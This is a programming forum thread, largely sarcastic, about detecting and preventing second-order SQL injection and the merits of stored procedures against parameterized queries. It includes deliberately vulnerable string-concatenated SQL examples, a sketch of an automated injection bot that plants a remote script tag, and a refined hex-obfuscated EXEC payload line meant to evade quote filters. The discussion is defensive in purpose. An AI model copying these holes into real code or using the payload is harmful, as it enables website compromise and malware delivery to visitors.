Need help about sql injection



  • Hi
    I have one question
    how can we detect second order sql injection attacks?



  • For once, I can say "You are the real WTF" while feeling right.



  •  I also have one question. Have you Googled "second order SQL injection" yet?

     


  • Trolleybus Mechanic

    @saman said:

    Hi I have one question how can we detect second order sql injection attacks?

    That's when you get hit with an SQL injection attack, and don't fix it correctly, then get hit a second time.

    There's no way to detect it. By definition, you just have to wait and see if it happens again.



  • Me too i have same question if you are helping me please send teh code to wtf@wtfmail.wtf



  • Let me be of assistance to you. try this link



  • @saman said:

    Hi I have one question how can we detect second order sql injection attacks?
    Do you want to detect attacks? I am going to assume that you really want to know how to prevent vulnerability. After all, who really cares if you have a few failed attacks.

    If you don't trust your application programmers to prevent sql injection, then limiting your database access to ONLY stored procedure use will do it for you.This may have the side effect of really annoying your good application programmers.




  • No no, clearly the only way to be 100% sure to be protected against sql injections is to stop using SQL



  • @saman said:

    Hi I have one question how can we detect second order sql injection attacks?

    By letting the first one through. If you think about it, a second order attack can't occur otherwise, so you'll never be able to detect it. Like the chicken and egg situation.



  • @Rick said:

    @saman said:

    Hi
    I have one question
    how can we detect second order sql injection attacks?
    Do you want to detect attacks? I am going to assume that you really want to know how to prevent vulnerability. After all, who really cares if you have a few failed attacks.

    If you don't trust your application programmers to prevent sql injection, then limiting your database access to ONLY stored procedure use will do it for you.This may have the side effect of really annoying your good application programmers.


    No it won't. Unparameterized stored procedure calls are just as prone to SQL injection as unparameterized text-based SQL commands. Parameterized stored procedure calls are no more safe from SQL injection than parameterized text-based SQL commands. You're fixing the wrong thing.


  • Discourse touched me in a no-no place

    @saman said:

    how can we detect second order sql injection attacks?
    Look for places where you are pulling strings from your database and using those to build an SQL statement.

    Then, look for whoever wrote that code and hit them over the head for being an idiot. You'll be saving a lot of time and effort.



  • @Jaime said:

    Unparameterized stored procedure calls
     

    Explain.

    I thought the point of SPs was that values passed would be parametrized, like a function or method.

    The only parametrized SPs I can think of is one that requires no input but produces output (query returning summary information or aggregated data, for instance).


  • Discourse touched me in a no-no place

    @Cassidy said:

    I thought the point of SPs was that values passed would be parametrized, like a function or method.
    Yeah, but the SP could just use the passed in string directly as SQL, moving the injection from one spot to another. Yes, that would make that SP into TRWTF.



  • @Cassidy said:

    @Jaime said:

    Unparameterized stored procedure calls
     

    Explain.

    I thought the point of SPs was that values passed would be parametrized, like a function or method.

    The only parametrized SPs I can think of is one that requires no input but produces output (query returning summary information or aggregated data, for instance).

    ResultSet rs = stmt.executeQuery("EXEC CustomerUpdate " + CustomerID + ", '" + NewCreditStatus + "';" );



  • @Jaime said:

    @Rick said:

    @saman said:

    Hi
    I have one question
    how can we detect second order sql injection attacks?
    Do you want to detect attacks? I am going to assume that you really want to know how to prevent vulnerability. After all, who really cares if you have a few failed attacks.

    If you don't trust your application programmers to prevent sql injection, then limiting your database access to ONLY stored procedure use will do it for you.This may have the side effect of really annoying your good application programmers.


    No it won't. Unparameterized stored procedure calls are just as prone to SQL injection as unparameterized text-based SQL commands. Parameterized stored procedure calls are no more safe from SQL injection than parameterized text-based SQL commands. You're fixing the wrong thing.
    Can you provide an example?



  • I don't see any tools to detect that and I don't find any paper about detection of second order sql injection!!! but I think tools or mechanisms that can detect first order attacks can detect second order attacks too,is it true?


  • Trolleybus Mechanic

    @saman said:

    I don't see any tools to detect that and I don't find any paper about detection of second order sql injection!!! but I think tools or mechanisms that can detect first order attacks can detect second order attacks too,is it true?
     

    Easy. Hire a group of third world sweatshop workers through something like Mechanical Turk. Each SQL query passed into your datalayer first gets passed into a pipe to the workers. They read the query, check if its an injection attack, and click YES or NO.  If YES, it gets executed. If NO, it gets rejected and logged.

    There will be some lag in the data layer, but I'm sure it won't be as bad as the rest of your system. Hardly noticable. You can improve this system, obviously.

    - You can also cache a MD5 hash of each query to start building a whitelist of known good queries. 

    - The same query can be passed to multiple workers, and the majority vote gets accepted for execution

    - If one worker lets through a SQL injection, they can be flagged for execution.

     


  • Considered Harmful

    @Lorne Kates said:

    If one worker lets through a SQL injection, they can be flagged for execution.

    Whoa, the proper term is "termination."

    We employ a muscular cyborg who was formerly the governor of California for that purpose.



  • @Lorne Kates said:

    @saman said:

    I don't see any tools to detect that and I don't find any paper about detection of second order sql injection!!! but I think tools or mechanisms that can detect first order attacks can detect second order attacks too,is it true?
     

    Easy. Hire a group of third world sweatshop workers through something like Mechanical Turk. Each SQL query passed into your datalayer first gets passed into a pipe to the workers. They read the query, check if its an injection attack, and click YES or NO.  If YES, it gets executed. If NO, it gets rejected and logged.

    There will be some lag in the data layer, but I'm sure it won't be as bad as the rest of your system. Hardly noticable. You can improve this system, obviously.

    - You can also cache a MD5 hash of each query to start building a whitelist of known good queries. 

    - The same query can be passed to multiple workers, and the majority vote gets accepted for execution

    - If one worker lets through a SQL injection, they can be flagged for execution.

     

    thank you it is good answer



  • @Jaime said:

    @Rick said:

    @saman said:

    Hi
    I have one question
    how can we detect second order sql injection attacks?
    Do you want to detect attacks? I am going to assume that you really want to know how to prevent vulnerability. After all, who really cares if you have a few failed attacks.

    If you don't trust your application programmers to prevent sql injection, then limiting your database access to ONLY stored procedure use will do it for you.This may have the side effect of really annoying your good application programmers.


    No it won't. Unparameterized stored procedure calls are just as prone to SQL injection as unparameterized text-based SQL commands. Parameterized stored procedure calls are no more safe from SQL injection than parameterized text-based SQL commands. You're fixing the wrong thing.

    No I research about how can detect 2nd order sql injectin attacks



  • @dkf said:

    @saman said:
    how can we detect second order sql injection attacks?
    Look for places where you are pulling strings from your database and using those to build an SQL statement.

    Then, look for whoever wrote that code and hit them over the head for being an idiot. You'll be saving a lot of time and effort.

    you say we should for any input see all of the possible functions or querys that may use it
    and when input want to save in DB we should do this checking or after that, when it will be used again?



  • I can't decide whether this is a troll, a lack of English comprehension, or a lack of subject-matter comprehension. Oh well, I'll give it the benefit of the doubt:

     

    1. Some of the replies in this thread are sarcastic. If you can't tell which, then look for a friend who can.
    2. Why are you interested in second-order SQL injection? Are you creating software? Are you writing a paper?
    3. There are probably some tools that do and others that don't. For a really good answer, you should build a couple of test systems and a couple of first- and second-order SQL injection attacks against them, then test some tools and see what they actually detect in practice.


  • @emurphy said:

    I can't decide whether this is a troll, a lack of English comprehension, or a lack of subject-matter comprehension. Oh well, I'll give it the benefit of the doubt:

     

    1. Some of the replies in this thread are sarcastic. If you can't tell which, then look for a friend who can.
    2. Why are you interested in second-order SQL injection? Are you creating software? Are you writing a paper?
    3. There are probably some tools that do and others that don't. For a really good answer, you should build a couple of test systems and a couple of first- and second-order SQL injection attacks against them, then test some tools and see what they actually detect in practice.

    yes my english is n't good

    thank you for informing me



  • @dkf said:

    Yeah, but the SP could just use the passed in string directly as SQL, moving the injection from one spot to another.
     

    Okay, badly-written SP then. Got it.

    @Jaime said:

    ResultSet rs = stmt.executeQuery("EXEC CustomerUpdate " + CustomerID + ", '" + NewCreditStatus + "';" );

    That's badly-written Java, not a fault of the SP. Should be using a CallableStatement for a SP to ensure the parameters are passed, rather than a concatenated string within a query, no?

     



  • @saman said:

    yes my english is n't good

    thank you for informing me

     

    Look into Apache's mod_security module, which tries to detect and block malicious URLs passing through.

    There may be some documentation about how it detects SQL injection attempts.



  • @Cassidy said:

    @Jaime said:
    ResultSet rs = stmt.executeQuery("EXEC
    CustomerUpdate " + CustomerID + ", '" + NewCreditStatus + "';"
    );

    That's badly-written Java, not a fault of the SP. Should be using a CallableStatement for a SP to ensure the parameters are passed, rather than a concatenated string within a query, no?

     

    Are you suggesting that my example of poorly-written code is invalid because it's poorly-written?



  • @Jaime said:

    Are you suggesting that my example of poorly-written code is invalid because it's poorly-written?
     

    Yeah. No. Erm.. what?

    I was hoping for a better example of "Unparameterized stored procedure calls" - I didn't think "badly-written way to call a SP" counted, but I guess it still does.



  • @Cassidy said:

    @Jaime said:

    Are you suggesting that my example of poorly-written code is invalid because it's poorly-written?
     

    Yeah. No. Erm.. what?

    I was hoping for a better example of "Unparameterized stored procedure calls" - I didn't think "badly-written way to call a SP" counted, but I guess it still does.

    You're missing the point. The original problem is SQL Injection, which is mainly caused by using string concatenation instead of the parameter system that the library provides. Telling someone who is already doing this wrong results in the following progression of code:

    First iteration:

    ResultSet rs = stmt.executeQuery("UPDATE Customers SET CreditStatus =  '" + NewCreditStatus + "' WHERE CustomerID = " + CustomerID + ";" );

    The programmer then reads on the Internet "Use stored procedures to prevent SQL injection". So, he change his code to this:

    ResultSet rs = stmt.executeQuery("EXEC CustomerUpdate " + CustomerID + ", '" + NewCreditStatus + "';" );

    ... why would he do any different? He hasn't shown he knows what parameters are and that's the path of least resistance. That's why my advice is always "To avoid SQL Injection, never use string concatenation to build SQL". That advice is guaranteed to prevent SQL Injection if followed. "Use SPs" will only lead to SQL Injection prevention if the programmer uses parameters properly in the call. That's essentially "prevention by side-effect"

    Also, if the programmer follows "To avoid SQL Injection, never use string concatenation to build SQL" and ends up not using stored procedures, he will still have injection-proof code. Whether or not stored procedures should be used is an entirely different discussion and has very little to do with SQL Injection.



  • @Cassidy said:

    @Jaime said:
    ResultSet rs = stmt.executeQuery("EXEC CustomerUpdate " + CustomerID + ", '" + NewCreditStatus + "';" );

    That's badly-written Java, not a fault of the SP. Should be using a CallableStatement for a SP to ensure the parameters are passed, rather than a concatenated string within a query, no?

    Nobody is stopping from from doing the following:

    CallableStatement cs = connection.prepareCall( "{ ? = call check_login( '" + username + "', '" + password + "' ) }" );
    cs.registerOutParameter( 1, Types.INTEGER );
    cs.executeUpdate();
    int success = cs.getInt( 1 );

    Yes, it's stupid, but that's the raison d'être of this site.

     



  • @Jaime said:

    That's why my advice is always "To avoid SQL Injection, never use string concatenation to build SQL". That advice is guaranteed to prevent SQL Injection if followed. "Use SPs" will only lead to SQL Injection prevention if the programmer uses parameters properly in the call. That's essentially "prevention by side-effect"

    Your advice is definitely the right way to go, so this is just nitpicking, but there is one point about the security of SPs that you are missing: the DB is supposed to be set so that the logged in user only has access to run the SPs.

    So, while your concatenated EXEC example could still be vulnerable, the resulting statement would still have no permission to do anything other than call the approved SPs.
    Sure, the attacker may still be able to do some things you don't want them to, but only selected from a list of things you allow to be done.

    Of course, if the concatenation is inside the SPs, then all bets are off.



  • @Jaime said:

    @Cassidy said:

    @Jaime said:

    Unparameterized stored procedure calls
     

    Explain.

    I thought the point of SPs was that values passed would be parametrized, like a function or method.

    The only parametrized SPs I can think of is one that requires no input but produces output (query returning summary information or aggregated data, for instance).

     

    ResultSet rs = stmt.executeQuery("EXEC CustomerUpdate " + CustomerID + ", '" + NewCreditStatus + "';" );

     

    The Oracle Java database driver sees an SQL injection attempt like this as an ORA-00900: invalid SQL statement. Sybase calls it "Incorrect syntax". Can you actually inject sql using this syntax with other databases?

     



  • @aihtdikh said:

    @Jaime said:
    That's why my advice is always "To avoid SQL Injection, never use string concatenation to build SQL". That advice is guaranteed to prevent SQL Injection if followed. "Use SPs" will only lead to SQL Injection prevention if the programmer uses parameters properly in the call. That's essentially "prevention by side-effect"

     

    Your advice is definitely the right way to go, so this is just nitpicking, but there is one point about the security of SPs that you are missing: the DB is supposed to be set so that the logged in user only has access to run the SPs.

    So, while your concatenated EXEC example could still be vulnerable, the resulting statement would still have no permission to do anything other than call the approved SPs.
    Sure, the attacker may still be able to do some things you don't want them to, but only selected from a list of things you allow to be done.

    Of course, if the concatenation is inside the SPs, then all bets are off.

    My comment about stored procedures had the word 'ONLY' in all caps. Really goddamn annoying to the good programmer, however.

     



  • @Rick said:

    My comment about stored procedures had the word 'ONLY' in all caps. Really goddamn annoying to the good programmer, however.

     

    I know, I think Jaime was missing it.

    And yes, it is very annoying to the programmer. I don't appreciate being treated like a cretin, even though I can clearly see why some people may have that as their default assumption when they approach an unknown programmer. This site shows plenty of evidence to support that view...

     


  • Trolleybus Mechanic

    @aihtdikh said:

    Of course, if the concatenation is inside the SPs, then all bets are off.
     

    FYI, this means:

    CREATE PROCEDURE spCheckLogin

          @username varchar(50),

          @password varchar(50)

    AS

     

          DECLARE @sql varchar(2000);

         

          SET @sql = 'SELECT * FROM tblUsers WHERE username=''' + @username + ''' AND drowssap ='''
    + @password + ''';'

          EXEC (@sql);

    GO




  • @Rick said:

    @Jaime said:

    @Cassidy said:

    @Jaime said:

    Unparameterized stored procedure calls
     

    Explain.

    I thought the point of SPs was that values passed would be parametrized, like a function or method.

    The only parametrized SPs I can think of is one that requires no input but produces output (query returning summary information or aggregated data, for instance).

     

    ResultSet rs = stmt.executeQuery("EXEC CustomerUpdate " + CustomerID + ", '" + NewCreditStatus + "';" );

     

    The Oracle Java database driver sees an SQL injection attempt like this as an ORA-00900: invalid SQL statement. Sybase calls it "Incorrect syntax". Can you actually inject sql using this syntax with other databases?

     

    That's Microsoft SQL Server sytax. Oracle would be:

    ResultSet rs = stmt.executeQuery("CALL pkg.CustomerUpdate (" + CustomerID + ", '" + NewCreditStatus + "');" );

    I don't know the proper syntax for Sybase.



  • @aihtdikh said:

    @Jaime said:
    That's why my advice is always "To avoid SQL Injection, never use string concatenation to build SQL". That advice is guaranteed to prevent SQL Injection if followed. "Use SPs" will only lead to SQL Injection prevention if the programmer uses parameters properly in the call. That's essentially "prevention by side-effect"

     

    Your advice is definitely the right way to go, so this is just nitpicking, but there is one point about the security of SPs that you are missing: the DB is supposed to be set so that the logged in user only has access to run the SPs.

    So, while your concatenated EXEC example could still be vulnerable, the resulting statement would still have no permission to do anything other than call the approved SPs.
    Sure, the attacker may still be able to do some things you don't want them to, but only selected from a list of things you allow to be done.

    Of course, if the concatenation is inside the SPs, then all bets are off.

    So, someone asks for advice on preventing SQL Injections, and you give them advice on permission management.  I see two problems here.  First, you're not answering the question asked.  Second, it doesn't work as well as you think it does.  If an application is set up so that all data access goes through stored procedures, then there has to be a stored procedure to change every piece of data.  All an attacker has to do is first inject a catalog dump ("SELECT * FROM sys.objects", "SELECT * FROM USER_OBJECTS", etc...), and then start injecting procedure calls.

  • Considered Harmful

    @Jaime said:

    If an application is set up so that all data access goes through stored procedures, then there has to be a stored procedure to change every piece of data.

    It is actually possible to have all your basic CRUD stored procedures non-executable by the web application, and wrapper procedures which enforce user authorization; of course, once they're already executing arbitrary SQL, all bets are off.



  • @Jaime said:

    @aihtdikh said:

    @Jaime said:
    That's why my advice is always "To avoid SQL Injection, never use string concatenation to build SQL". That advice is guaranteed to prevent SQL Injection if followed. "Use SPs" will only lead to SQL Injection prevention if the programmer uses parameters properly in the call. That's essentially "prevention by side-effect"

    Your advice is definitely the right way to go, so this is just nitpicking, but there is one point about the security of SPs that you are missing: the DB is supposed to be set so that the logged in user only has access to run the SPs.

    So, while your concatenated EXEC example could still be vulnerable, the resulting statement would still have no permission to do anything other than call the approved SPs.
    Sure, the attacker may still be able to do some things you don't want them to, but only selected from a list of things you allow to be done.

    Of course, if the concatenation is inside the SPs, then all bets are off.

    So, someone asks for advice on preventing SQL Injections, and you give them advice on permission management.  I see two problems here.  First, you're not answering the question asked.  Second, it doesn't work as well as you think it does.  If an application is set up so that all data access goes through stored procedures, then there has to be a stored procedure to change every piece of data.  All an attacker has to do is first inject a catalog dump ("SELECT * FROM sys.objects", "SELECT * FROM USER_OBJECTS", etc...), and then start injecting procedure calls.
    And if select from sys.objects is disallowed?


  • @Rick said:

    And if select from sys.objects is disallowed?
    Then you have security by obscurity.



  • @joe.edwards said:

    @Jaime said:
    If an application is set up so that all data access goes through stored procedures, then there has to be a stored procedure to change every piece of data.

    It is actually possible to have all your basic CRUD stored procedures non-executable by the web application, and wrapper procedures which enforce user authorization; of course, once they're already executing arbitrary SQL, all bets are off.

    Now you've got two problems.  First, you have to be really diligent about writing procs properly to get this right.  People who have problems with SQL Injection are never going to pull it off.  Second, doing this prevents a lot of highly-scalable application models.  If the DB needs to know the actual user identity of all callers, then caching and connection pooling aren't possible.

  • Trolleybus Mechanic

    @Jaime said:

    @Rick said:

    And if select from sys.objects is disallowed?
    Then you have security by obscurity.

     

    I'd catagorize that as defense in depth.  You should use paramaterized queries, etc.  But by also disallowing access to sys.objects/information.schema, you're adding an extra hurdle. Let's say someone manages to executre arbitrary SQL statements via your web interface. You've now turned their SQL injection attack into a blind SQL injection attack. They have to exectue orders of magnitudes more queries to suss out your data structure. That means:

    1) Most casual hit-and-run bots will fail outright.

    2) Someone more dedicated will have to take more time and more effort and execute more queries to accomplish their task. This gives you more time to react, more chances for them to trip off an IDS, etc.

    Just because you hide or make information inaccessible doesn't instantly catagorize it as "security by obscurity". SBO is when you make an arbitrary change to attempt to make a single attack fail, but is completely ineffective given the attack's actual technique.

    Example (unfortunately real life):  Don't call your password field "Password".  Call it "drowssaP".  That way any attack that looks for the column "Password" will fail.

    That is true-- except that all those common attacks only use the column name "Password" because they got the column names from information_schema.colums.

     



  • @Lorne Kates said:

    @Jaime said:

    @Rick said:

    And if select from sys.objects is disallowed?
    Then you have security by obscurity.

    I'd catagorize that as defense in depth.
    It's not defense in depth if the only obstacle to a successful SQL Injection attack is a hidden catalog.  It's simply defense in the wrong place.  If coupled with proper parameterization, then it's defense in depth.  But if Rich would simply acknowledge that paramerterization is necessary and sufficient to prevent injection and stored procedure are neither neccessary nor sufficient, then we wouldn't have to be talking about this.


  • Discourse touched me in a no-no place

    @Lorne Kates said:

    I'd catagorize that as defense in depth.
    It's not very much depth though, given that most attackers will probably come in via the web interface and will have already read a load of PHP that describes a lot of the fields in the database in an operational sense.@Lorne Kates said:
    SBO is when you make an arbitrary change to attempt to make a single attack fail, but is completely ineffective given the attack's actual technique.
    Another example of SBO is allowing people to telnet in without a password, but moving the telnet service to an obscure port number. Yes, it's slightly more secure than leaving it at the default, but any port-scan will find it. (Now, all we need to do is to persuade the makers of SCADA systems that security isn't something they should charge a massive amount extra for, but instead is a required part of building kit Fit For Purpose.)


  • Trolleybus Mechanic

    @dkf said:

    @Lorne Kates said:
    I'd catagorize that as defense in depth.
    It's not very much depth though, given that most attackers will probably come in via the web interface and will have already read a load of PHP that describes a lot of the fields in the database in an operational sense
     

    A bit more depth than you may realize. From personal "I told you so" experience, most automated web-attacks go like this:

    1) Visit a page.
    2) Automatically POST all forms, and follow all hyperlinks with a querystring-- injecting a specfic URL encoded string
    3) The string is an SQL script:

    @badness said:


    DECLARE @s=CAST('HEX obfuscated string' as varchar);exec(@s);

    4) @s decodes to an SQL script that declares a cursor, loops through information_schema.columns where column is varchar or nvarchar
    5) The cursor concats and executes an SQL statement (again, for each table/column) that goes [b]UPDATE table SET column='"<script type='javascript' src="jisjdf.cn/exploit.js"></script>"'[/b]
    6) Every varchar column in your database, at least one of which contains HTML data for public facing pages, contains a malicious script.

    And of course jisjdf.cn  (or whatever other domain is used) keeps track of the referrer header of any hapless browser that visits your page. The bot now knows your site is vulnerable and should be revisited for when your programmers "fix" it by just restoring the database and not closing any of the holes.

    So revoking schema access to your website DB user is a very deep piece of protection. The majority of the drive-by bots don't have cheeto-eating humans behind them. They come by, inject a fire-and-forget script that exploits poorly protected SQL servers without ever looking at a single piece of code.  Revoking schema access means that if, despite your best efforts, the attacker finds an injection point, thier attack method will fail. And sealing all injection points means that even if you have an insecure schema, it can't be touched.

    I think we can both agree: Just securing the schema is a good move, but a bad idea to rely on alone.  It'd be absolutely foolish to do only one or the other and expect that that's good enough.


  • Discourse touched me in a no-no place

    @Lorne Kates said:

    @badness said:
    DECLARE @s=CAST('HEX obfuscated string' as varchar);exec(@s);
    I shall have to keep a note of that technique for my own projects. I know about how to do correct-by-construction HTML generation as well as the proper use of parameterized SQL queries, but I've got a few colleagues who need the occasional prod in the right direction when it's time to do code reviews...


  • Trolleybus Mechanic

    @dkf said:

    @Lorne Kates said:
    @badness said:
    DECLARE @s=CAST('HEX obfuscated string' as varchar);exec(@s);
    I shall have to keep a note of that technique for my own projects. I know about how to do correct-by-construction HTML generation as well as the proper use of parameterized SQL queries, but I've got a few colleagues who need the occasional prod in the right direction when it's time to do code reviews...
     

    Quick correction, since it'll bug me otherwise-- that should be [i]DECLARE @s as varchar(4000); SET @s=CAST('HEX obfuscated string' as varchar);exec(@s); [/i]



  • @Lorne Kates said:

    Quick correction, since it'll bug me otherwise-- that should be DECLARE @s as varchar(4000); SET @s=CAST('HEX obfuscated string' as varchar);exec(@s);
    Additional correction:

    DECLARE @s as varchar(4000); SET @s=CAST(0xHexObfuscatedString as varchar);exec(@s);

    By using the 0x format, there are no single quotes and the statement gets by some lame SQL Injection prevention techniques.



  • @Jaime said:

    That's Microsoft SQL Server sytax. Oracle would be:

    ResultSet rs = stmt.executeQuery("CALL pkg.CustomerUpdate (" + CustomerID + ", '" + NewCreditStatus + "');" );

    I don't know the proper syntax for Sybase.

    Sybase is pretty much SQL Server.

    But in JDBC, you should use the following syntax:

     ResultSet rs = stmt.executeQuery("{ call pkg.CustomerUpdate (" + CustomerID + ", '" + NewCreditStatus + "') }" );

    Which is portable.

     


Log in to reply